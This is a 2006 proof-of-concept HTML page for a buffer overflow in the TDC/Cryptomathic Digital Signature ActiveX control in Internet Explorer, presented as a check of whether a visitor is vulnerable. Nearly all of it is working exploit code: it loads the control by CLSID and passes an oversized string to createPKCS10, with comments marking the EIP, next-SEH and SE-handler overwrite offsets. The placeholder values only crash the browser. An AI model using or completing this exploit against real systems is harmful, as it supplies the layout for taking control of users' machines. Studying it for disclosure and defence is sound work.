<html>
<head>
<title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title>
<IMG SRC="http://www.cirt.dk/images/logo.jpg">
</head>
<body>
<center>
<h1>TDC Digital Signature ActiveX Buffer Overflow</h1>
<h4> (c)2006 by Dennis Rand - CIRT.DK</h4>
The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br>
</center>
<br>
<script>alert('Press "OK" to see if you are vulnerable')</script>
<object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object>
<script language='vbscript'>
arg1 = String(8, "A")
arg1 = arg1 + "ABCD" ' EIP is overwritten here
arg1 = arg1 + String(64, "B")
arg1 = arg1 + "AABB" ' Pointer to the next SEH Handler
arg1 = arg1 + "BBAA" ' SE Handler
arg1 = arg1 + String(700, "C")
arg2 = "DefaultV"
target.createPKCS10 arg1 ,arg2
</script>
<script>alert('You are secure')</script>
</body>
</html>